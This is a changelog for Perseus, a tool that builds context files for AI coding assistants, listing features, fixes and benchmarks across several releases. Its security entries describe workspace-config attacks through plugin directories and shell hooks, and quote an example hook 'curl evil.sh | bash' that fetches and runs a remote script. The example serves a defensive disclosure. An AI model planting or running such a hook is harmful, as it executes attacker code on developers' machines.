# Changelog

All notable changes to Perseus.

This project follows the alpha-then-semver convention:
during the alpha (pre-`1.0.0`) phase, minor bumps may include breaking changes
that are documented in the release notes.

Each entry maps a release to the task IDs that shipped in it. The
single-file `perseus.py` runtime is the only required artifact; everything
else (installer, docs) is generated by `scripts/release.sh`.

## [1.0.7] — UNRELEASED

### 🧠 Memory Backend

- **Mimir v0.2.0** — Upgraded Mimir connector to the new entity model. Mimir now provides structured entities with category/key idempotent upsert, journal events (evaluated/acted/forward), state management with TTL, entity linking, soft-delete, category-filtered recall, and session context injection. 17 MCP tools total.
- **Sibyl Memory removed** — `sibyl_memory.py`, `sibyl_mcp_server.py`, `@sibyl`/`@sibyl_state` directives, and the `sibyl-memory-client` SDK dependency have been removed. Mimir is the sole persistent memory backend.
- **Renderer** — Sibyl passive auto-injection replaced with `_mimir_context_inject` in the render pipeline.
- **Connector rewrite** — `mimir_connector.py` rewritten for the entity model. Class renamed `MnemeConnector` → `MimirConnector`. Data model: `MemoryHit` → `EntityHit`, `_parse_memory_hits` → `_parse_entity_hits`.
- **Config** — New optional keys: `context_categories` and `context_limit` for session context injection.

### ✅ Fixes

- **#277** — `@memory` cache fingerprints include active Mimir connector configuration.

## [1.0.6] — UNRELEASED ([security guide](./SETUP-GUIDE.md))

### 🔒 Security

- **#169** — Workspace-sourced plugin configuration (`plugins.dir`) is
  now refused by default. Pre-1.0.6 a workspace `.perseus/config.yaml`
  setting `plugins.dir: /path/to/attacker/code` caused
  `_discover_plugins()` to `spec.loader.exec_module(mod)` on every
  `.py` file in that directory at startup — full Python execution
  before any directive trust gate, audit, or user prompt. Same attack
  vector as #168 but with no shell-quoting limits. Attack: git clone a
  malicious workspace, get pwned.

  Fix: `_discover_plugins` consults
  `cfg["_provenance"]["plugins_workspace_sourced"]` set by
  `load_config`. Workspace-sourced plugin config is refused unless BOTH:
  1. Global `~/.perseus/config.yaml` sets `plugins.allow_workspace_sourced: true`
  2. Env var `PERSEUS_ALLOW_DANGEROUS=1`

  Refusal emits a `plugins_workspace_refused` audit event with the
  refused directory path. Global-sourced plugin config is unaffected.

  Regression suite (8 tests): workspace plugin dir refused by default,
  allowed with full opt-in, refused with only-global, refused with
  only-env, global plugins always load, audit trail, no false-positive
  refusal when no plugin config exists, allow-gate helper unit test.

- **#168** — Workspace-sourced shell hooks and Python `hooks.dir` are
  now refused by default. Pre-1.0.6 a workspace `.perseus/config.yaml`
  could declare `hooks.on_render_start: ["curl evil.sh | bash"]` and
  the command would run on the next `perseus render` — no
  `allow_query_shell`, no `PERSEUS_ALLOW_DANGEROUS`, no audit. Same
  attack via `hooks.dir: /path/to/attacker/code` (Python top-level
  code runs at import time). Attack: git clone a malicious workspace,
  get pwned.

  Fix: `load_config` annotates `cfg["_provenance"]` with which
  sections came from the workspace source. `hooks.py` refuses
  workspace-sourced shell hooks and `hooks.dir` Python hooks unless
  BOTH conditions are met:
  1. Global `~/.perseus/config.yaml` sets `hooks.allow_workspace_sourced: true`
  2. Env var `PERSEUS_ALLOW_DANGEROUS=1` is set

  Refusal emits `hooks_workspace_refused` / `hooks_workspace_shell_refused`
  audit events plus a stderr warning. Global-sourced hooks are
  unaffected (the user owns global config; trust is implicit).

  Regression suite (10 tests): workspace shell hook refused, allowed
  with full opt-in, refused with only-global opt-in, refused with
  only-env opt-in, global hooks always run, provenance tracking, audit
  trail, Python hooks.dir refused.

### 🧠 Mneme Hybrid Memory — Project Synapse

**Mnēmē v2 receives an optional persistent memory accelerator** via
Mneme, an MCP-based hybrid resolution bridge. Mnēmē alone is an
in-process local memory engine (SQLite FTS5, zero daemon, 37ms P50
search). Mneme adds a second tier: a remote persistent memory
backend with Ebbinghaus time-decay, topic trees, and hybrid search
(semantic + BM25) accessible over MCP JSON-RPC.

The hybrid resolution flow (Project Synapse) merges both layers at
render time:

1. **Sense layer (Live)** — Perseus resolves current environment state
   (ports, services, system health).
2. **Memory layer (Mneme)** — Queries the remote backend for
   relevant historical context (architecture decisions, past debugging
   sessions, project conventions).
3. **Merge** — Combines both into a single `ContextPackage`, with
   Mneme results ranked by `decay_score` (Ebbinghaus algorithm)
   so recently reinforced memories surface first.

**Infrastructure:**
- `MnemeConnector` — MCP client communicating with Mneme via
  stdio JSON-RPC (SSE for remote deployments).
- Circuit breaker and exponential backoff (threshold: 3 failures,
  120s cooldown) — if Mneme is offline, Perseus automatically
  degrades to local-only Mnēmē FTS5 without hanging or crashing.
- Configuration under the `mneme:` block in config.yaml with
  `merge_strategy` (local_first, remote_first, interleave),
  `retry_policy`, and connection parameters.

**Data model:** `MemoryHit`, `MemoryLayer` (core/working/buffer),
and `ContextPackage` dataclasses enforce source tagging so the
assistant can distinguish "what is happening now" from "what we
decided then."

**FTS5 fallback (v1.0.6+, mneme v0.5.0+):** When `memory_recall` returns
empty vector results (e.g., the embedding index is cold or not yet built),
Perseus automatically falls back to local SQLite FTS5 keyword search over
the mneme database (`~/.perseus/mneme/mneme.db`). This guarantees memory
recall always returns results — no silent empty responses. The mneme binary
(`mneme`) writes to this database; Perseus reads it directly.

**memory_add is async:** The `memory_add` MCP tool returns `null` or empty
while the LLM-based fact extraction pipeline runs in the background. Perseus
treats null responses as success — data is stored and will be available on
the next `memory_recall` call. No polling or retry logic is needed.

All Mnemosyne-specific types and gRPC transport have been replaced.
The `@memory` directive and MCP tool `perseus_memory` resolve
through the unified hybrid path. 32 smoke tests validate the full
pipeline including circuit breaker open/close, backoff timing,
merge strategies, decay-score ordering, and graceful degradation.

**Config migration:** Replace any legacy `mnemosyne:` block with
`mneme:`. See [SETUP-GUIDE.md § Mneme Hybrid Resolution](./SETUP-GUIDE.md)
for the full configuration reference.



**Mnēmē v1 — Persistent Memory Backend (upgraded to Mnēmē v2 in 1.0.6; Mneme hybrid accelerator added in 1.0.6):**

> ⚠ The initial `@mneme` directive and memory backend were upgraded in a
> subsequent release to the native Mnēmē v2 SQLite FTS5 backend. The `@memory`
> directive now routes exclusively through Mnēmē v2.
> In v1.0.6, Mnēmē v2 gains an optional Mneme hybrid accelerator
> (Project Synapse) — an MCP-based remote memory backend with
> Ebbinghaus time-decay and semantic + BM25 hybrid search. Local-only
> mode remains the zero-dependency default.

- **task-86** — `@mneme` directive: query persistent memories via the Mnēmē memory backend.
- **task-87** — `_mneme_recall()` memory client.
- **task-88** — `@memory` backend routing *(Upgraded — unified under Mnēmē v2.)*
- **task-89** — `memory.backend` config key *(Upgraded in Mnēmē v2.)*
- **task-90** — 20 new tests *(Upgraded with the feature.)*

## [1.0.4] — 2026-05-25

**Phase 24 — Extensibility Architecture (Hephaestus):**

- **task-65** — Plugin directive system: auto-discovered Python plugins under `~/.perseus/plugins/`. Each module exports a `REGISTER` dict of `DirectiveSpec` entries. Plugin errors are warnings, not fatal.
- **task-66** — Directive macros: `@macro name ... @endmacro` blocks in context documents or `.perseus/macros.md`. Pre-processing pass expands invocations before the resolver loop.
- **task-67** — Render pipeline hooks: lifecycle callbacks (`on_render_start`, `on_directive_resolved`, `on_cache_hit/miss`, `on_render_complete`, `on_directive_error`) via shell commands or Python callbacks.
- **task-68** — Output format adapters: plugin interface for custom formats beyond markdown/HTML. `perseus render --format json` returns structured `{resolved, directives}` output.
- **task-69** — Foreign resolver protocol: `@perseus <url>` fetches rendered context from remote Perseus serve instances. HMAC signature verification, TTL caching, graceful degradation.
- **task-70** — Custom schema validators: plugin validators in `.perseus/schemas/`. Referenced via `schema="plugin:my-validator"`. Works alongside the built-in validator.
- **task-71** — Pipe syntax: lightweight chaining — `@query "ls" | @cache ttl=300`. Left-to-right resolution, output of stage N becomes input of stage N+1.
- **task-72** — Event webhooks: POST render lifecycle events to external URLs with optional HMAC-SHA256 signing. Config-driven with per-event selection.
- **task-73** — Tool directive integration: `@tool "path/to/tool"` with config-based allowlist, argument restrictions, timeouts, and output size caps.
- **task-74** — Directive aliasing: config-driven shorthand — `@q→@query`, `@svc→@services`. Single-pass expansion, built-ins always win collisions.

**Phase 25 — MCP Deep Integration:**

- **task-75** — Expose every directive as an MCP tool. `perseus mcp serve` runs a JSON-RPC 2.0 MCP server over stdio. Each `DIRECTIVE_REGISTRY` entry becomes a `perseus_<name>` tool with auto-generated descriptions and input schemas. Trust gates enforced per-tool. Backward compatible with existing `perseus_get_context` / `perseus_get_health`.

## [1.0.3] — 2026-05-24

**Phase 24 — Assistant format targets, hook installer, MCP server (~840 lines):**

- **task-77** — Assistant format targets: `perseus render --format agents-md|claude-md|cursorrules|copilot-instructions`
  renders `.perseus/context.md` into every major assistant's native context file. Auto-resolves
  default output paths. Each file gets a "Generated by Perseus" header pointing back to the source.
- **task-78** — Hook installer: `perseus install --target claude-code` drops SessionStart + UserPromptSubmit
  hooks into `.claude/settings.json` for automatic context injection at session start and on every
  prompt. Also supports `--target cursor`, `gemini-cli`, `copilot`. Smart merge preserves existing hooks.
- **task-79** — MCP server façade: `perseus mcp serve` runs as a JSON-RPC 2.0 MCP server over stdio, exposing
  13 Perseus directives as native MCP tools (query, services, memory, skills, waypoint, session,
  agora, inbox, read, env, health, agent, date). `mcp config` prints ready-to-paste client configs.

**Distribution:**

- **task-80** — MCP Registry listing published live (`server.json`) — 13 tools, PyPI transport.
- **task-81** — Anthropic Skills marketplace listing (`SKILL.md`) — ready for PR to `anthropics/skills`.
- `pyproject.toml` version bumped to 1.0.3.

**Show HN preparation:**

- **task-82** — Swarm demo script — 120 agents, 4 batches, 51 frames of parallel multi-agent coordination.
- **task-83** — Swarm demo GIF re-themed to match perseus.observer palette; added to README Multi-Agent section.
- **task-84** — Show HN post draft.
- **task-85** — Cyberpunk v2 landing page deployed to perseus.observer.

**CI, docs, and tooling:**

- GitHub Actions CI workflow with coverage on Python 3.10/3.11/3.12.
- `.coveragerc` — 70% coverage threshold.
- 596 tests passing, 1 skipped.

## [1.0.2] — 2026-05-23

**Bug fixes (Opus 4.7 Max / Codex 5.5 Extreme High benchmarks):**

- **task-63** — Fixed `Path.write_text` missing encoding on Windows — emoji (📌) crash in default prompts.
- **task-64** — Fixed `/bin/bash` unreachable on native Windows Python — added `_get_shell()` helper
  using `shutil.which()` with system-default fallback for `@query`, `@services`, and `@agent`.
- **task-65** — Fixed `@query` binary stdout NoneType crash — guarded `result.stdout` with `or ""`.
- **task-66** — Fixed `perseus --help` crash on Windows (Mnēmē macron `ē` can't encode to `cp1252`) —
  added `sys.stdout/stderr.reconfigure(encoding="utf-8")` at import time.

**New features:**

- **task-67** — **`render.max_query_bytes`** (default 256 KB) — caps runaway `@query` stdout with a
  visible truncation marker. Prevents 12 MB scanner output from silently inflating
  context documents (47× output reduction demonstrated).
- **task-68** — **Configurable `@query` timeout** — `render.query_timeout_s` (default 30s) and per-directive
  `timeout=N` modifier (e.g. `@query "..." timeout=120`).
- **task-69** — **`render.parallel_services`** (opt-in, default off) — concurrent `@services` health checks
  via `ThreadPoolExecutor`. 100 services go from ~5 min serial to ~3 s parallel.
- **task-70** — **`render.parallel_queries`** (opt-in, default off) — pre-scans top-level `@query` directives
  and resolves them concurrently. Directives inside `@if` branches remain sequential.

**Integrations:**

- **task-71** — **VS Code / Cursor extension** — auto-renders on `.perseus/context.md` save, status bar
  indicator, auto-detects target assistant file, watch mode.
- **task-72** — **Claude Code session hook** — one `curl` install, runs `perseus render` before every
  Claude Code session.
- **task-73** — **GitHub Action** — renders context on push/schedule, commits back to repo so every
  developer gets pre-resolved context without installing Perseus locally.

**Multi-agent coordination:**

- **task-74** — **Shared checkpoint store** — agents across machines/sessions share a single checkpoint
  store (config: `checkpoints.store` path, accessible via NFS/SMB/unison).
- **task-75** — **Lock file mechanism** — `os.O_CREAT | os.O_EXCL` atomic lock in the checkpoint
  store prevents concurrent writers from clobbering. Retries with backoff for ~11s before failing
  gracefully. NFS-safe (O_CREAT | O_EXCL is atomic cross-filesystem).
- **task-76** — **Checkpoint recovery** — `perseus recover --from <store>` reads the latest checkpoint
  and prints the workspace/task/status triplet so an agent dropped into a terminal knows exactly
  where to resume.

**Benchmarks:**

- Extreme scaling sweep on Linux: 10 → 10,000 `@query` directives, 4 modes each
  (sequential, cached, parallel, cached+parallel). Cache warm time stays flat at
  ~0.3–0.5s regardless of scale. 10,000 queries at 0.52s warm (25× vs 13.1s cold).
- Integrated heavy benchmark suite (`benchmark/heavy/`) with 4 reports, setup harnesses,
  machine-readable result JSONs from Claude Code Opus 4.7 and Codex 5.5 Extreme High runs.
- Efficiency infographic on README showing cold→warm scaling curve and 40× warm speedup.

**CI, docs, and tooling:**

- Added GitHub Actions CI workflow with coverage on Python 3.10/3.11/3.12.
- Added `.coveragerc` — 70% coverage threshold.
- Updated `.gitignore` for generated context files (CLAUDE.md, AGENTS.md, .cursorrules).
- Updated demo GIF with 6-scene cold→warm walkthrough.
- 540 tests passing, 1 skipped. 70% coverage on the 10,463-line artifact.

## [1.0.1] — 2026-05-21

Patch release: corrects the PyPI author field to the GitHub handle (`tcconnally`).
No code changes; all 496 tests pass.

- **task-62** (follow-up) — post-release doc and metadata fixes: corrected PyPI author
  field, updated test-count references across README/docs/index.md to reflect live count
  (496 passed, 1 skipped), and aligned PRODUCT_CONTRACT.md status to v1.0.1 stable.

## [1.0.0] — 2026-05-20

All Phase 1–22 tasks complete. Perseus v1.0.0 — the first stable release.

- **task-56** — Phase 20C: added headless watch mode (`perseus watch`) — inotify/polling
  file watcher with configurable interval, re-render on change, and debounce. Degrades
  gracefully when watchdog is unavailable.
- **task-57** — Phase 21A: added golden evaluation corpus under `tests/fixtures/golden/`
  covering render, synthesis, and Pythia output shapes; deterministic comparison harness
  in `tests/test_golden.py`.
- **task-58** — Phase 21B: added performance budget framework (`tests/test_perf_budgets.py`)
  with per-command cold/warm timing, advisory warnings at 2× budget, and configurable
  thresholds. Three commands (render, graph, prefetch) emit advisory warnings in the
  current environment — not failures.
- **task-59** — Phase 21C: added compatibility and migration suite (`tests/test_compat_migration.py`)
  covering checkpoint round-trip compatibility, config migration (`oracle:` → `pythia:` rename),
  pack manifest version handling, and install/upgrade smoke paths.
- **task-60** — Phase 22A: added `docs/index.md` (documentation hub), `docs/quickstart.md`
  (install-to-render in 10 steps), and `docs/CONTRIBUTING.md` (contributor guide with
  single-file constraint, directive authoring 4-touch pattern, test conventions, Agora
  workflow). Updated README with `## Documentation` section.
- **task-61** — Phase 22B: added `examples/` with three runnable demo workspaces:
  `local-cli/` (render, checkpoint, recover, suggest, doctor), `assistant-profile/`
  (context pack, hermes profile, @memory + @agora), and `container/README.md` (Docker
  mount and auth guide). Smoke scripts verified end-to-end.
- **task-62** — Phase 22C: v1 release candidate checklist. 493 tests passing (1 skipped
  TCP smoke). Release artifacts built and checksums verified. README/CHANGELOG/ROADMAP
  docs aligned. Version bumped to `1.0.0-rc.1`. Known limitations documented.

## [1.0.0-rc.1] — 2026-05-20

Release candidate — superseded by v1.0.0.

- **task-63** — Completed the Oracle → Pythia internal rename while preserving the
  public `perseus oracle` CLI compatibility surface. Added legacy `oracle:`
  config warnings and one-time `oracle_log.jsonl` → `pythia_log.jsonl`
  migration.
- **task-49** — Phase 18B: added `tests/test_release.py` (16 tests) covering all
  release artifact acceptance criteria — version coherence, repeatability,
  SHA256SUMS integrity, CHANGELOG task mapping, and tarball contents.
- **task-50** — Phase 18C: aligned scheduler behavior and docs around
  host-neutral POSIX crontab generation, macOS launchd, Linux systemd, and
  explicitly deferred native Windows Task Scheduler support. Added scheduler
  smoke tests and repaired release artifact portability on macOS/BSD tar.
- **task-51** — Phase 19A: added offline adapter conformance fixtures and a
  parametrized harness covering generic, Hermes, Codex, Claude Code, Cursor,
  and Rovo Dev render outputs, pack manifests, and integration docs.
- **task-52** — Phase 19B: promoted product profiles into a documented gallery
  with output paths, trust defaults, refresh guidance, non-interactive generation
  tests, and hardcoded-path guards for all six supported profiles.
- **task-53** — Phase 19C: polished the VSCode extension for release with
  reproducible packaging docs, package scripts, LSP render/checkpoint/mutation
  smoke tests, and static package-manifest checks.
- **task-54** — Phase 20A: added optional bearer-token authentication for
  `perseus serve`, a token generator, non-loopback bind safety gates, trust
  report serve fields, and HTTP auth tests.
- **task-55** — Phase 20B: added a single-file-runtime container image,
  compose examples for render and authenticated serve, container trust docs,
  and static/optional Docker smoke tests.
- **task-56** — Phase 20C: added `perseus watch`, a dependency-free polling
  loop for refreshing single source files or context-pack render targets, with
  deterministic debounce tests and clean shutdown behavior.

## [0.9.0] — 2026-05-19

### Trust, privacy, and local policy (Phase 17)

- **task-45** — Permission profiles (`strict` / `balanced` / `power-user`); `perseus trust` and `--json`; `serve.bind` promoted to config; version bump to 0.9.0.
- **task-46** — Secrets redaction (`DEFAULT_REDACTION_RULES`, `redact_text()`) at render/synthesize/serve trust boundaries; source files never mutated; counts-only report.
- **task-47** — Audit log (`audit_event()` JSONL with rotation); emitters at 5 trust boundaries; `perseus trust audit [--tail N] [--json]`; default `perseus trust` shows audit posture; secret values never persisted.

### Distribution (Phase 18)

- **task-48** — Installer bootstrap (`scripts/install.sh` + `INSTALL.md`); preserves the single-file runtime; verifies Python 3.10+ and `pyyaml`; idempotent upgrade and clean uninstall.
- **task-49** — Release artifacts and versioning: `VERSION` file as source of truth, `scripts/release.sh` produces a deterministic tarball + zip + SHA256SUMS, this changelog, and version-coherence checks (perseus.py / VERSION / CHANGELOG).

### Verification

- Tests: 393 passing, 0 skipped.
- Single-file runtime: `perseus.py` (`pyyaml` only).

## [0.8.x and earlier]

Pre-Phase 17 history is tracked in `tasks/` (closed task files) and `HANDOFF.md`.
